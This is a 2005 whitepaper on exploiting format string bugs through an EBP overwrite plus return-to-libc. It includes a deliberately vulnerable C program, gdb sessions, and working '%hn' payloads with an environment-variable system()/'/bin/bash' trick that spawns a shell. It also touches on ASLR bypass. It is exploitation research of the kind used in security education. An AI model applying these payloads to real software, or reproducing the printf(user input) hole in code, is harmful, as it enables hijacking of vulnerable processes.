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formatPaper.txt

formatPaper.txt
Posted Nov 5, 2005
Authored by c0ntex | Site open-security.org

Whitepaper regarding further advances in the exploitation in format string bugs.

tags | paper
SHA-256 | 1438a410763bf9a8d5234436f27914d00ca889bb639fc9bd97d90bdeb6882436

formatPaper.txt

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                    Further advances in to exploiting vulnerable format string bugs
by c0ntex | c0ntex[at]open-security.org
www.open-security.org

---------------------------------------------------------------


Format string bugs are a method of abusing incorrect usage of the
format functions like printf, sprintf,
snprintf, fprintf, vfprintf and the likes. When these functions are
called they require that a version
specefier is used to display the data stored in one or more directives.

In the last format paper I discussed how to use a user supplied string
to allow for an abitrary write to
any location in memory we wished. By modifying the GOT, DTORS or some
other useful memory location, it is
trivial to hijack the process completely and execute malicious, arbitrary code.

However with the code below you will see that there are a couple of
locations that make this impossible
for us. This time we have a limited 2/3 byte, one time write, but we
can still cause an overwrite to grant
us control of the process and execute our very arbitrary code :-) In
this paper we will combine several
well known techniques together:

1) Format string abuse
2) Frame pointer overwrite
3) Return-to-libc

This method, minus (3) was used in the POC exploit for RealPlayer, and
as such is an applicable method in
attacking wild applications. There are many ways to attack format
string bugs but this paper will focus on
modifying EBP pointer as was done in the Realplayer adviosory.

It is worth noting that this method relies on the fact that the
vulnerabe printf() syscall is not in the
main() function, but perhaps 3 or more functions deep within the
program. This is required due to the fact
that the printf() syscall will pop addresses from it's current
position, and suppose we are in the main()
function already, there will only be the addresses of the main frame
to play with and as such, a nice EBP
takeover will not be possible.

This is how it might look:


<------------------------ Stack growth ----------------------

-------------------------------------------------------------
| Frame 5 | Frame 4 | Frame 3 | Frame 2 | Frame 1 | Frame 0 |
-------------------------------------------------------------

...... printf(%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x) .....


When there are no other frames to use, when the printf() function is
in the main() body of the code, you
need to rely on finding a pointer or some other useful location that
is writable to gain control of the
applications flow. There may be lots of locations that can be used to
gain control of the binary, it just
depends how lucky the attacker is and how hard she looks. Some areas
that could be useful include:


Function pointers
Locations used in call instructions
Locations used in jmp instructions
Locations pointing to locations used in call or jmp instructions
Locations pointing to locations pointing to locations use in
call or jmp instructions ;)
Addresses pointed to by registers, including ebp, esp and eip
etc,etc...


Anyway, enough of the talk, let us start with the fun!


/* fmt.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define SIZE1 150
#define SIZE2 160

int yummy(char *vuln, char *buf);
int yumm(char *vuln);
int yum(char *vuln);

int yummy(char *vuln, char *buf)
{
if((strlen(vuln) > SIZE1) || (strlen(vuln) < 0)) {
puts("\nString error! Try again!");
return(EXIT_FAILURE);
}
memcpy(buf, vuln, strlen(vuln));
yumm(vuln);
return(EXIT_SUCCESS);
}

int yumm(char *vuln)
{
printf("You typed: ");
yum(vuln);
return(EXIT_SUCCESS);
}

int yum(char *vuln)
{
printf(vuln); printf("\n");
return(EXIT_SUCCESS);
}

int main(int argc, char **argv)
{
char *buf = NULL;
char *vuln = NULL;

if(argc != 2)
return(EXIT_FAILURE);

buf = (char *)malloc(SIZE1);
if(!buf) {
perror("malloc");
return(EXIT_FAILURE);
}
vuln = (char *)malloc(SIZE2);
if(!vuln) {
perror("malloc");
return(EXIT_FAILURE);
}

vuln = argv[1];
yummy(vuln, buf);
free(buf); free(vuln);
return(EXIT_SUCCESS);
}


As you can see in the code, the printf function does not have a format
specifier assigned. This is where
the vulnerability lies, since we can now control how printf behaves.
By passing a format specifier, we
are able to display the contents of the stack as in a standard format
string bug.


c0ntex@debauch:~$ gcc -o fmt fmt.c -Wall
c0ntex@debauch:~$ ./fmt hello
You typed: hello
c0ntex@debauch:~$ ./fmt AAAA.%p
You typed: AAAA.0x40139ff4
c0ntex@debauch:~$


Lets try and find our supplied string by popping more addresses:


(gdb) r AAAA`perl -e 'print ".%p" x 80'`
Starting program: /home/c0ntex/fmt `perl -e 'print ".%p" x 80'`
You typed: .0x40139ff4.0xbffffa18.0x8048568.0xbffffba5.0x40015cc0.0xbffffa38.0x804853f.0xbffffba5.
0xbffffba5.0xf0.0x40139ff4(nil).0x40015cc0.0xbffffa58.0x8048634.0xbffffba5.0x8049928.0xbffffa68.
0x804867a.0xbffffba5.0x8049928.0xbffffa88.0x4003a413.0x2.0xbffffab4.0xbffffac0.(nil).(nil).
0x4000aaa0.0x4000b5a0.0x40015ff4.0x2.0x8048420.(nil).0x8048441.0x8048593.0x2.0xbffffab4.0x8048660.
0x80486d0.0x4000b5a0.0xbffffaac.0x400167e4.0x2.0xbffffb94.0xbffffba5.(nil).0xbffffc96.0xbffffc9d.
0xbffffca8.0xbffffcb8.0xbffffcc4.0xbffffce8.0xbfffff1d.0xbfffff40.0xbfffff4c.0xbfffff86.0xbfffff9c.
0xbfffffa8.0xbfffffb9.0xbfffffc2.0xbfffffd4.0xbfffffdc.(nil).0x10.0x7e9fbbf.0x6.0x1000.0x11.0x64.
0x3.0x8048034.0x4.0x20.0x5.0x7.0x7.0x40000000.0x8.(nil)

Program exited normally.
(gdb)


>From the output you should see that it has not been possible to reach
our supplied string. As a result
you can't just pop the way to the supplied location and do a write
anything anywhere. This is a tedious
restriction, but it does not stop us since we have a supply of other
addresses we could potentially use.

What we need to look for are locations that we can write to, which
will end in being able to gain control
of the applications execution. Using /proc/pid/maps we can find all
writable locations of the running
process, then we just compare those addresses with what we popped via
the format bug we abuse:


(gdb) shell cat /proc/14753/maps
08048000-08049000 r-xp 00000000 08:06 32664 /home/c0ntex/fmt
08049000-0804a000 rw-p 00000000 08:06 32664 /home/c0ntex/fmt
^^^^^^^^^^^^--- look good
0804a000-0806b000 rwxp 00000000 00:00 0
^^^^^^^^^^^^--- look good
40000000-40015000 r-xp 00000000 08:01 196671 /lib/ld-2.3.5.so
40015000-40017000 rw-p 00014000 08:01 196671 /lib/ld-2.3.5.so
^^^^^^^^^^^^--- look good
40017000-40019000 rw-p 00000000 00:00 0
^^^^^^^^^^^^--- look good
40025000-40138000 r-xp 00000000 08:01 196717 /lib/libc-2.3.5.so
40138000-40139000 r--p 00112000 08:01 196717 /lib/libc-2.3.5.so
40139000-4013c000 rw-p 00113000 08:01 196717 /lib/libc-2.3.5.so
^^^^^^^^^^^^--- look good
4013c000-4013f000 rw-p 00000000 00:00 0
^^^^^^^^^^^^--- look good
bfffd000-c0000000 rwxp ffffe000 00:00 0
^^^^^^^^^^^^--- look good
(gdb)


Looking back at the stack pops, we can compare addresses reachable
from command line with areas in the
process address space that are write or executable, preferably both:


0x40139ff4.0xbffffa18.0x8048568.0xbffffba5.0x40015cc0.0xbffffa38.0x804853f.0xbffffba5.
0xbffffba5.0xf0.0x40139ff4(nil).0x40015cc0.0xbffffa58.0x8048634.0xbffffba5.0x8049928.0xbffffa68.
0x804867a.0xbffffba5.0x8049928.0xbffffa88.0x4003a413.0x2.0xbffffab4.0xbffffac0.(nil).(nil).
0x4000aaa0.0x4000b5a0.0x40015ff4.0x2.0x8048420.(nil).0x8048441.0x8048593.0x2.0xbffffab4.0x8048660.
0x80486d0.0x4000b5a0.0xbffffaac.0x400167e4.0x2.0xbffffb94.0xbffffba5.(nil).0xbffffc96.0xbffffc9d.
0xbffffca8.0xbffffcb8.0xbffffcc4.0xbffffce8.0xbfffff1d.0xbfffff40.0xbfffff4c.0xbfffff86.0xbfffff9c.
0xbfffffa8.0xbfffffb9.0xbfffffc2.0xbfffffd4.0xbfffffdc.(nil).0x10.0x7e9fbbf.0x6.0x1000.0x11.0x64.
0x3.0x8048034.0x4.0x20.0x5.0x7.0x7.0x40000000.0x8.(nil)


With this information we can start to work through the addresses,
verifying what each is responsible for
and narrowing down the location we can write to.

Out of the addresses above, here is a map all the RWX addresses that
are viable targets:


0xbffffa18.0xbffffba5.0xbffffa38.0xbffffba5.0xbffffba5.0xbffffa58.0xbffffba5.0xbffffa68
0xbffffba5.0xbffffa88.0xbffffab4.0xbffffac0.0xbffffab4.0xbffffaac.0xbffffb94.0xbffffba5
0xbffffc96.0xbffffc9d.0xbffffca8.0xbffffcb8.0xbffffcc4.0xbffffce8.0xbfffff1d.0xbfffff40
0xbfffff4c.0xbfffff86.0xbfffff9c.0xbfffffa8.0xbfffffb9.0xbfffffc2.0xbfffffd4.0xbfffffdc


We know we can write and execute things here which makes the job very
simplistic, time to find out what
these addresses do in relation to the program we are attacking:


(gdb) r `perl -e 'print ".%p" x 80'`%n
Starting program: /home/c0ntex/fmt `perl -e 'print ".%p" x 80'`%n

Program received signal SIGSEGV, Segmentation fault.
0x40062971 in vfprintf () from /lib/libc.so.6
(gdb) bt
#0 0x40062971 in vfprintf () from /lib/libc.so.6
#1 0x4006830a in printf () from /lib/libc.so.6
#2 0x08048580 in yum ()
#3 0x08048568 in yumm ()
#4 0x0804853f in yummy ()
#5 0x08048634 in main ()
(gdb) i r
eax 0x9 9
ecx 0xbffffb48 -1073743032
edx 0xbffff8dc -1073743652
ebx 0x40139ff4 1075027956
esp 0xbfffd398 0xbfffd398
ebp 0xbffff9dc 0xbffff9dc
esi 0xbffffb44 -1073743036
edi 0x2d1 721
eip 0x40062971 0x40062971
eflags 0x286 646
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
(gdb) frame 1
#1 0x4006830a in printf () from /lib/libc.so.6
(gdb) i r
eax 0x9 9
ecx 0xbffffb48 -1073743032
edx 0xbffff8dc -1073743652
ebx 0x40139ff4 1075027956
esp 0xbffff9e4 0xbffff9e4
ebp 0xbffff9f8 0xbffff9f8
esi 0x0 0
edi 0x40015cc0 1073831104
eip 0x4006830a 0x4006830a
eflags 0x286 646
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
(gdb) frame 2
#2 0x08048580 in yum ()
(gdb) i r
eax 0x9 9
ecx 0xbffffa04 -1073743356
edx 0xbffff8dc -1073743652
ebx 0x40139ff4 1075027956
esp 0xbffffa00 0xbffffa00
ebp 0xbffffa08 0xbffffa08
esi 0x0 0
edi 0x40015cc0 1073831104
eip 0x8048580 0x8048580
eflags 0x286 646
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
(gdb) frame 3
#3 0x08048568 in yumm ()
(gdb) i r
eax 0x9 9
ecx 0xbffffa04 -1073743356
edx 0xbffff8dc -1073743652
ebx 0x40139ff4 1075027956
esp 0xbffffa10 0xbffffa10
ebp 0xbffffa18 0xbffffa18
esi 0x0 0
edi 0x40015cc0 1073831104
eip 0x8048568 0x8048568
eflags 0x286 646
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
(gdb) frame 4
#4 0x0804853f in yummy ()
(gdb) i r
eax 0x9 9
ecx 0xbffffa04 -1073743356
edx 0xbffff8dc -1073743652
ebx 0x40139ff4 1075027956
esp 0xbffffa20 0xbffffa20
ebp 0xbffffa38 0xbffffa38
esi 0x0 0
edi 0x40015cc0 1073831104
eip 0x804853f 0x804853f
eflags 0x286 646
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
(gdb) frame 5
#5 0x08048634 in main ()
(gdb) i r
eax 0x9 9
ecx 0xbffffa04 -1073743356
edx 0xbffff8dc -1073743652
ebx 0x40139ff4 1075027956
esp 0xbffffa40 0xbffffa40
ebp 0xbffffa58 0xbffffa58
esi 0x0 0
edi 0x40015cc0 1073831104
eip 0x8048634 0x8048634
eflags 0x286 646
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
(gdb)


The astute reader will see that right away there is something
interesting :-) If you have a look at the
EBP registers in each of the frames, you will notice that some of
these addresses are reachable with our
pops. This means that we can directly manipulate the EBP register with
a 2 byte write. Let us try it and
see what happens.


(gdb) r %.16705u%2\$hn
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/c0ntex/fmt %.16705u%2\$hn
You typed: 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
... SNIPPED ...
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001075027956
Program received signal SIGSEGV, Segmentation fault.
0x0804853f in yummy ()
(gdb) bt
#0 0x0804853f in yummy ()
#1 0x00000000 in ?? ()
(gdb) x/x $ebp
0xbfff4141: 0x00000000
(gdb) frame 1
#1 0x00000000 in ?? ()
(gdb) x/x $esp
0xbfff4149: 0x00000000
(gdb)


It seems we were right, we have written 0x4141 (16705) to the EBP MSB.
Once "mov %ebp, %esp" happens, ESP
becomes under our control. Now all we need to do is have our shellcode
location address waiting at the
address in ESP, and we should have a shell.

What is needed might look something like so:


[ EBP ] ----> [ ESP ] ---> [ EIP ] ---> [shellcode] ---> c0ntex@debauch:~$


So let us try. By exporting some known string into an environment
variable, we can see if it is reachable
when we do a modification of EBP:


c0ntex@debauch:~$ export PAD=AAAABBBBCCCCDDDDEEEEFFFF
c0ntex@debauch:~$ /home/c0ntex/code/memenv PAD

[-] Environment variable [$PAD] is at [0xbfffff9c]
[-] Environment variable is set to [AAAABBBBCCCCDDDDEEEEFFFF]

c0ntex@debauch:~$ gdb ./fmt
GNU gdb 6.3-debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-linux"...Using host libthread_db
library "/lib/libthread_db.so.1".

(gdb) b main
Breakpoint 1 at 0x8048599
(gdb) r
Starting program: /home/c0ntex/fmt

Breakpoint 1, 0x08048599 in main ()
(gdb) x/s 0xbfffff9c
0xbfffff9c: "PAD=AAAABBBBCCCCDDDDEEEEFFFF"
(gdb)

(gdb) r %.65436u%2\$hn
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/c0ntex/fmt %.36u%2\$hn
You typed: 000000000000000000000000000000... SNIPPED
...000000000000000000000000000000000001075027956
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)


Interesting :-) We seem to be able to control the next instruction to
execute. Ok so we will now replace
the address being pointed to by EIP with one that contains some opcode
and see if we can spawn us a nice
shell..


(gdb) p system
$1 = {<text variable, no debug info>} 0x4005a020 <system>
(gdb) x/s 0xbffffc0f
0xbffffc0f: "SHELL=/bin/bash"
(gdb) x/s 0xbffffc9d
0xbffffc15: "/bin/bash"
(gdb) q
The program is running. Exit anyway? (y or n) y
c0ntex@debauch:~$ export PAD=`printf
"\x20\xa0\x05\x40\x90\x90\x90\x90\x15\xfc\xff\xbf"`
c0ntex@debauch:~$ ./fmt %.65379u%2\$hn
00000000000000000000000... SNIPPED
...00000000000000000000000000000000000000000000001075027956
c0ntex@debauch:~$ ps -ef | tail -4
c0ntex 1185 1153 0 12:05 pts/0 00:00:00 ./fmt %.65379u%2$hn
c0ntex 1186 1185 0 12:05 pts/0 00:00:00 /bin/bash
c0ntex 1191 1186 0 12:06 pts/0 00:00:00 ps -ef
c0ntex 1192 1186 0 12:06 pts/0 00:00:00 /bin/bash
c0ntex@debauch:~$


Perfect, it worked nicely for us! By using some addresses we can reach
via pops, it is easily possible to
gain control of the process execution.

Say instead of EBP, we can write to a pointer and it's location is at
0x08049123. We could use our string
to modify the 0x9123 section of the address and point it to an
arbitrary location. Let us also suppose that
some user input is stored at location 0x08057777, again the attacker
can gain control of the process by
changing 0x08057777 to 0x08049123 with one write, and we win.

Another situation is when we can store our shellcode location in %eax
for instance, all one needs to do is
search for a writeable / reachable place in memory where we can modify
an address to a call *%eax, and we
win again.

It should also be possible to bypass stack randomisation (ASLR) using
tricks like this, as every time the
code runs, the useful EBP / blah addresses will be at the same pop
distance on the stack, i.e 2 pops. The
only nasty thing would be brute forcing the shellcode location in
either an environment variable or argv.

Though, it may be possible to perform the above pointer trick and
bypass the need to brute force, that will
rely on there being no mmap() randomisation however.

This just goes to show that in cases when an attacker can not reach
their supplied input directly during
the attack, it is still possible to gain control of the application,
and, there are lots of variations that
can be used.

Even in worst case scenarios when an attacker can not reach supplied
input AND can only perform one 2 byte,
or maybe 3 byte write, it is still not too difficult to gain control
of the application.

As such, any format string bug is almost always exploitable, you just
have to look hard enough. I hope this
short paper has been useful.


EOF


--

regards
c0ntex
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